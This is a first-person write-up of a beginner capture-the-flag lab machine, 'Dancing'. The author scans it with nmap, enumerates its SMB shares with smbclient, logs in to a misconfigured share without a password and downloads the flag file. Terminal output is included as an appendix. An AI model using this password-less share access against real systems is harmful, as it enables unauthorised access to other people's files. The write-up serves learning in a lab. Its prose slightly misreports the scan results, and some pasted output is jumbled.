

Machine :- Dancing (Tier-0)

Rating :- Very Easy

Platform :- Windows

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Dancing is a Starting Point Machine rated as “Very Easy”, and is based on the exploitation of the Server Message Block (SMB) Protocol when it is misconfigured to allow access without a password.

After Initial setup, I scanned the Target IP using Nmap and found that the Target IP was hosting the following services:-

- msrpc (Microsoft RPC) on Port 135
- netbios-ssn on Port 139
- microsoft-ds on Port 445

After a quick web search on the SMB Protocol, I concluded that the “microsoft-ds” service running on Port 445 is the SMB Protocol that I will be working with.

The next step that I took was to enumerate all the shares available on Dancing. This was done via a utility called “smbclient” which allows Linux/Unix systems to interact with SMB shares on Windows servers. I used the command :-

```
smbclient -L <Target IP>
```

to enumerate the IP and got the following information :-

- There are 4 available Sharenames that can be used to login into the server:- “ADMIN\$”, “C\$”, “IPC\$” and “WorkShares”, with the Share types being ”Disk” for “ADMIN\$”, “C\$”, and “WorkShares”, and “IPC” for “IPC\$”.

I deduced through logical decision that the “Workshares” Sharename had the highest chance of being the misconfigured Sharename through which I would be able to login without a password.

I faced some difficulty trying to login using the credentials, which, after researching online, turned out to be a parsing problem caused due to the different interpretations used by the SMB service and the Linux shell. The SMB service expects the path format to be as:-

```
\\SERVER IP\ShareName
```

While the Linux shell (Bash, in this case) interprets “\” as an Escape character. This causes each pair of “\” to collapse into a single “\” when sent to smbclient.

Ultimately, I was able to login into the server using:-

```
smbclient \\\<Target IP>\\WorkShares WorkShares
```

This worked as the Shell collapsed the above command into:-

```
smbclient \\<Target IP>\WorkShares Workshares
```

The second “WorkShares”, after some research, appeared to have been passed as the password for the ShareName, and as this particular ShareName had no password, appears to have fallen back to null auth.

After pwning the Machine, I also tested the following command:-

```
smbclient \\\10.129.60.16\\WorkShares -N
```

To see if this allowed me to login, as the “-N” flag explicitly tells smbclient “no password”, and I succeeded in logging in through this method as well.

After logging in, I typed in the “help” command in the to retrieve a list of all the possible commands, and noticed that all of the commands were very similar to the shell commands used on Linux.

Therefore, I used the “ls” command to see which directories are available to work with, and found two directories named “Amy.J”, and “James.P”.

I navigated to the “Amy.J” directory and found a file titled “worknotes.txt”. I used the “get” command to download the file to my local system, and then, on a new Terminal window, used the “cat” command to see what the file contained. Unfortunately, this file did not contain the flag that was needed to pwn this Machine, so I moved to the next directory.

In the “James.P” directory, I immediately found a file titled “flag.txt”. As before, I used the “get” command to download the file, and used “cat” to see its content. This time, the file contained the flag, which I promptly entered into the platform, and pwned the Dancing Machine.

APPENDIX

1 Supporting Screenshots

1.1 Nmap Scan

```
nmap[realar@parrot]~$  
└─$ nmap -sV 10.129.60.16  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-25 00:50 IST  
Nmap scan report for 10.129.60.16  
Host is up (0.60s latency).  
Not shown: 996 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
135/tcp   open  msrpc        Microsoft Windows RPC  
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds?   
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 75.07 seconds
```

1.2 smbclient

```
[realar@parrot]~$  
└─$ smbclient -L 10.129.60.16  
Password for [WORKGROUP\realar]:  
  
Sharename      Type      Comment  
-----  
ADMIN$         Disk      Remote Admin  
C$             Disk      Default share  
IPC$           IPC       Remote IPC  
WorkShares     Disk  
  
Reconnecting with SMB1 for workgroup listing.  
do_connect: Connection to 10.129.60.16 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)  
Unable to connect with SMB1 -- no workgroup available
```

1.3 Successful Login 1

```
[x]-[realar@parrot]~$  
└─$ smbclient \\\10.129.60.16\WorkShares WorkShares  
Try "help" to get a list of possible commands.  
smb: \> help  
?  
allinfo      cancel      case_sensitive  cd          backup  
blocksize    close      del            deltrees   chmod  
chown        echo       exit           get         dir  
du           hardlink   help           history     getfacl  
geteas       link       lock           lowercase  iosize  
lcd          mask       md             mget       ls  
l            more       mput           newer      mkdir  
mkfifo       posix      posix_encrypt  posix_open notify  
open         posix_unlink  posix_whoami  print      posix_mkdir  
posix_rmdir  pwd        q             queue      prompt  
put          rd         recurse       reget      quit  
readlink     rm         rmdir         showacls  rename  
reput        setmode    scopy         symlink    setea  
setmode      timeout    translate     unlock    tar  
tarmode      wdel      logon         listconnect volume  
vuid         tdis      tid           utimes    showconnect  
tcon         !         !             !         logoff  
..           !         !             !         !
```

1.4 Successful Login 2

```
[real@parrot]~$ smbclient \\\10.129.60.16\WorkShares -N
Try "help" to get a list of possible commands.
smb: \> help
?                allinfo          altname          archive          backup
blocksize        cancel           case_sensitive  cd               chmod
chown            close           del              deltree          dir
du               echo            exit             get              getfacl
geteas           hardlink        help             history          iosize
lcd              link            lock             lowercase        ls
l                mask            md               mget             mkdir
mkfifo           more            mput             newer            notify
open             posix           posix_encrypt   posix_open       posix_mkdir
posix_rmdir      posix_unlink    posix_whoami     print            prompt
put              pwd             q               queue            quit
readlink         rd              recurse          reget            rename
reput            rm              rmdir           showacls         setea
setmode          scopy           stat             symlink          tar
tarmode          timeout         translate        unlock           volume
vuid             wdel            logon            listconnect      showconnect
tcon             tdis            tid              utimes           logoff
..
smb: \> ls
.                D                0  Mon Mar 29 13:52:01 2021
```

1.5 Flag Discovery

```
smb: \> lcd
smb: \> allinfo
allinfo <file>
smb: \> pwd
Current directory is \\\10.129.60.16\WorkShares\
smb: \> cd ..
smb: \> ls
.                D                0  Mon Mar 29 13:52:01 2021
..               D                0  Mon Mar 29 13:52:01 2021
Amy.J            D                0  Mon Mar 29 14:38:24 2021
James.P          D                0  Thu Jun  3 14:08:03 2021
cd .

5114111 blocks of size 4096. 1752996 blocks available
smb: \> cd .
smb: \> cd .
smb: \> ls
.                D                0  Mon Mar 29 13:52:01 2021
..               D                0  Mon Mar 29 13:52:01 2021
Amy.J            D                0  Mon Mar 29 14:38:24 2021
James.P          D                0  Thu Jun  3 14:08:03 2021

5114111 blocks of size 4096. 1752996 blocks available
smb: \> cd James.P\
smb: \James.P\> ls
.                D                0  Thu Jun  3 14:08:03 2021
..               D                0  Thu Jun  3 14:08:03 2021
flag.txt         A                32  Mon Mar 29 14:56:57 2021
```